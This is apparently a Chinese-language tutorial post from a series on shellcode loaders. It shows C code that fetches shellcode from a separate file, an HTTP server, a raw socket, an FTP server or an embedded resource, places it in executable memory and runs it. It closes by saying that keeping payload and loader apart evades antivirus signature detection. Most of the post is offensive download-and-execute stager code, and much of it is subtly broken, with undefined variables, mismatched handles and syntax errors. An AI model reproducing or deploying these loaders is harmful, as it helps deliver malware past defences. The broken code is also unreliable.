0x00.序
相信看到这篇文章的你已经看过了这个系列前面的文章了(没看的快去看! 我们知道了如何存储,加密,混淆的进行shellcode
的加载,但是我们的ShellCode还是存储在我们可执行文件里面,该篇将介绍 加载器与ShellCode分开的使用情况
0x01.多文件
通过WINAPI
中的 CreateFile
实现读取raw
格式或者 其他格式的shellcode ,然后再进行加载
示例:
0
1
2
3
4
5
6
7
8
9
10
11
12
13
|
typedef v
DWORD BytesRead = 0;
//打开文件句柄
HANDLE hFile = CreateFileA("1.bin",GENERIC_ALL,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
//读取文件大小
DWORD dwFileLen = GetFileSize(hFile,0);
//申请虚拟内存
unsigned char buffer* = (unsigned char*)VirtualAlloc(0, dwFileLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//读文件到虚拟内存中
ReadFile(hDllFile, buffer, dwFileLen, &BytesRead, 0);
//关闭文件句柄
CloseHandle(hFile);
//利用函数指针执行shellcode
((void(*)())buffer)();
|
0x02.网络加载
通过 winapi
中的 winsocks
模块进行 网络传输shellcode
HTTP
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
|
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
bool HttpDownloadBinaryFile(LPCWSTR lpUrl, LPBYTE* ppBuffer, LPDWORD pdwSize)
{
bool bRet = false;
// 打开会话句柄
HINTERNET hSession = WinHttpOpen(L"HttpDownloadBinaryFile/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL)
{
// 处理错误
return false;
}
// 打开连接句柄
HINTERNET hConnect = WinHttpConnect(hSession, L"www.baidu.com", INTERNET_DEFAULT_HTTP_PORT, 0);
if (hConnect == NULL)
{
// 处理错误
WinHttpCloseHandle(hSession);
return false;
}
// 打开请求句柄
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/a.bin", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL)
{
// 处理错误
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return false;
}
// 发送请求
if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) == FALSE)
{
// 处理错误
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return false;
}
// 接收响应
if (WinHttpReceiveResponse(hRequest, NULL) == FALSE)
{
// 处理错误
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return false;
}
// 查询响应大小
DWORD dwSize = 0;
if (WinHttpQueryDataAvailable(hRequest, &dwSize) == FALSE)
{
// 处理错误
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return false;
}
// 分配缓冲区
unsigned char* pBuffer = (unsigned char*)VirtualAlloc(0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pBuffer == NULL)
{
// 处理错误
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return false;
}
// 读取响应数据
DWORD dwBytesRead = 0;
if (WinHttpReadData(hRequest, pBuffer, dwSize, &dwBytesRead) == FALSE)
{
// 处理错误
delete[] pBuffer;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return false;
}
//执行Shellcode
((void(*)())pBuffer)();
// 关闭请求句柄
WinHttpCloseHandle(hRequest);
// 关闭连接句柄
WinHttpCloseHandle(hConnect);
// 关闭会话句柄
WinHttpCloseHandle(hSession);
// 返回缓冲区指针和大小
*ppBuffer = pBuffer;
*pdwSize = dwBytesRead;
bRet = true;
return bRet;
}
|
Socket传输
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
WSAStartup(MAKEWORD(2, 2), &wsadata);
SOCKET clientSocket = {};
clientSocket = socket(PF_INET, SOCK_STREAM, 0);
if (SOCKET_ERROR == clientSocket) {
return 0;
}
//绑定套接字 指定绑定的IP地址和端口号
sockaddr_in socketAddr;
socketAddr.sin_family = PF_INET;
socketAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
socketAddr.sin_port = htons(1234);
int cRes = connect(clientSocket, (SOCKADDR*)&socketAddr, sizeof(SOCKADDR));
if (SOCKET_ERROR == cRes) {
return -1;
}
char sendBuf[] = "getshellcode"; //发送标志
send(clientSocket, sendBuf, strlen(sendBuf), 0);
//发送/接受 数据
int sc_len=1024;
unsigned char *recvBuf =(unsigned char*)VirtualAlloc(0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
recv(clientSocket,recvBuf, sc_len, 0);
//执行Shellcode
((void(*)())pBuffer)();
closesocket(clientSocket);
WSACleanup();
delete[] recvBuf;
|
FTP
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
#include <Windows.h>
#include <wininet.h>
#include <tchar.h>
#pragma comment(lib, "wininet.lib")
int main()
{
HINTERNET hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet)
{
_tprintf(_T("Failed to open Internet handle. Error code: %d\n"), GetLastError());
return 1;
}
//设置ip,用户名,密码
HINTERNET hFtpSession = InternetConnect(hInternet, _T("ftp.example.com"), INTERNET_DEFAULT_FTP_PORT,_T("username"), _T("password"), INTERNET_SERVICE_FTP, 0, 0);
if (!hFtpSession)
{
_tprintf(_T("Failed to connect to FTP server. Error code: %d\n"), GetLastError());
InternetCloseHandle(hInternet);
return 1;
}
//设置FTP文件夹
if (!FtpSetCurrentDirectory(hFtpSession, _T("path/to/ftp/folder")))
{
_tprintf(_T("Failed to set current directory. Error code: %d\n"), GetLastError());
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
return 1;
}
//设置要下载的文件
HINTERNET hFtpFile = FtpOpenFile(hFtpSession, _T("example.txt"), GENERIC_READ, FTP_TRANSFER_TYPE_BINARY, 0);
if (!hFtpFile)
{
_tprintf(_T("Failed to open FTP file. Error code: %d\n"), GetLastError());
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
return 1;
}
const int kBufferSize = 1024; //设置ShellCode大小
unsigned char buffer* =(unsigned char*)VirtualAlloc(0, kBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);;
DWORD bytesRead = 0;
BOOL result = FALSE;
do
{
result = InternetReadFile(hFtpFile, buffer, kBufferSize, &bytesRead);
if (!result)
{
_tprintf(_T("Failed to read FTP file. Error code: %d\n"), GetLastError());
InternetCloseHandle(hFtpFile);
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
return 1;
}
if (bytesRead > 0)
{
}
} while (result && bytesRead > 0);
// 在这进行shellcode加载
// 函数指针加载shellcode
((void(*)())pBuffer)();
//
InternetCloseHandle(hFtpFile);
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
return 0;
}
|
0x03.资源
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
#include <windows.h>
int main()
{
// 加载资源文件
HRSRC hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_MY_RESOURCE), RT_RCDATA);
if (hResInfo == NULL)
{
return 0;
}
// 获取资源数据的大小
DWORD dwResSize = SizeofResource(NULL, hResInfo);
// 加载资源数据
HGLOBAL hResData = LoadResource(NULL, hResInfo);
if (hResData == NULL)
{
return 0;
}
// 锁定资源数据
LPVOID lpResData = LockResource(hResData);
if (lpResData == NULL)
{
return 0;
}
// 将资源数据转换为字节数组
unsigned char* pBuffer = (unsigned char*)VirtualAlloc(0, dwResSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pBuffer, lpResData, dwResSize);
// 函数指针加载shellcode
((void(*)())pBuffer)();
// 释放资源数据
delete[] pBuffer;
FreeResource(hResData);
return 0;
}
|
0x04.总结
通过分离实现对AV对特征码的查杀能够达到很好的效果